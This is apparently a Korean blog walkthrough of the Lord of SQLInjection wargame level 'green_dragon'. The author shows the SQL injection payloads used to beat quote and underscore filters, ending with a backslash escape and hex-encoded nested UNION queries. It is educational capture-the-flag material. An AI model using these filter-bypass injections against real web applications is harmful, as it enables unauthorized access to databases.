본문 바로가기

워게임

los rubiya - 25(green_dragon) 풀이

초록 드래곤

 

시작하겠습니다.

 

 

뭔가 복잡하네요

 

id와 pw에 _ . ' " 을 막아 놨네요 그리고 admin이 출력이 되게 하라네요!

 

그럼 id에 \' and pw= 가 들어가게 되어서 '을 우회가 가능합니다.

 

그럼 저희는 이제 admin을 찾으면 되는데 저는 char 구문을 이용해서 admin 문자열을 출력하겠습니다,

 

?id=\&pw= OR id=CHAR(97,100,109,105,110) %23

 

안되네요

 

아마 char을 못쓰게 했었을 수도 있습니다.

그럼 약간 우회를 더 해보죠. 어차피 if($result['id'] == "admin") solve("green_dragon"); 

이 구문을 보시면 id 컬럼에 admin이 나오기만 하면 되잖아요?

 

union 구문을 이용하겠습니다.

일단 잘 통하는지 확인만 해보겠습니다.

 

?id=\&pw= union select 1,2%23

 

 

통하네요!

 

select 1,2 즉 1, 2를 따로 출력했으니 저렇게 쿼리문이 2개 나옵니다.

보시면 query2에서 select id 만 하네요! 그럼 1 대신에 admin을 작성하면 되지 않을까요?

 

그런데 저희가 따옴표가 안되서 어찌 우회할 방법이 없네요 그럼 id에 \ 을 넣고 pw에

OR id=(문자열)admin을 넣으면 되겠네요! 그리고 끝에 # 도 들어가게 해 보겠습니다.

 

?id=\&pw= union select CHAR(92),CHAR(32, 79, 82, 32, 105, 100, 61, 97,100,109,105,110, 35)%23

 

 

음..

 

id=admin이 아니라 id='admin'이 나와야 되는데 말이죠.

 

그럼 이번엔 OR id=admin 말고 union select admin 해서 강제적으로 query2에 id밖에 출력하라고 하잖아요?

그러니 admin을 강제적으로 넣어보겠습니다.

 

union 안에서 union을 보내면 되겠죠

 

?id=\&pw= union select CHAR(92),CHAR(117,110,105,111,110, 32, 115,101,73,101,99,116,32,97,100,109,105,110, 35)%23

 

이렇게 했습니다.

 

그래도 안되네요

 

이론은.. 맞는 것 같은데 말이죠.. 그럼 이번엔 union 안에 hex 값 즉 16진법으로 보내볼게요.

char 함수 나 union에 union을 보내려다가 오류가 날 수도 있다고 하네요

 

\의 hex 값은 0x5c 이고..

 

union select admin #

 

이걸 hex값으로 변환하고 보내보겠습니다.

 

 

https://www.online-toolz.com/tool/text-to-hex-converter/ko

 

Productivity Tools for Top Performers - Online Toolz

We offer the biggest collection of Productivity Tools for everyday tasks, for free!

www.online-toolz.com

이 사이트 이용해서 변환했습니다.

 

756e696f6e2073656c6563742061646d696e2023

 

16진법은 맨 앞에 0x 붙여야 됩니다.

 

다시 보내보겠습니다.

 

?id=\&pw= union select 0x5c,0x756e696f6e2073656c6563742061646d696e2023 %23

 

안되네요!

 

그럼 admin 말고 CHAR을 이용한 admin으로 문자열이 출력되게 하겠습니다.

 

union select CHAR(97,100,109,105,110) #

 

이걸 다시 hex값으로 바꿀게요

 

756e696f6e2073656c65637420434841522839372c3130302c3130392c3130352c313130292023

 

?id=\&pw= union select 0x5c,0x756e696f6e2073656c65637420434841522839372c3130302c3130392c3130352c313130292023 %23

 

 

드디어!!

 

결국 됐습니다. 이렇게 새로운 것을 배우네요! hex값을 보내면 확실하게 보내어진다는 것을 배웠습니다.

 

감사합니다.

 

'워게임' 카테고리의 다른 글

los rubiya - 27(blue dragon) 풀이  (0) 2023.05.31
los rubiya - 26(red_dragon) 풀이  (0) 2023.05.26
los rubiya - 24(evil_wizard) 풀이  (1) 2023.05.24
los rubiya - 23(hell_fire) 풀이  (0) 2023.05.24
los rubiya - 22(dark_eyes) 풀이  (0) 2023.05.23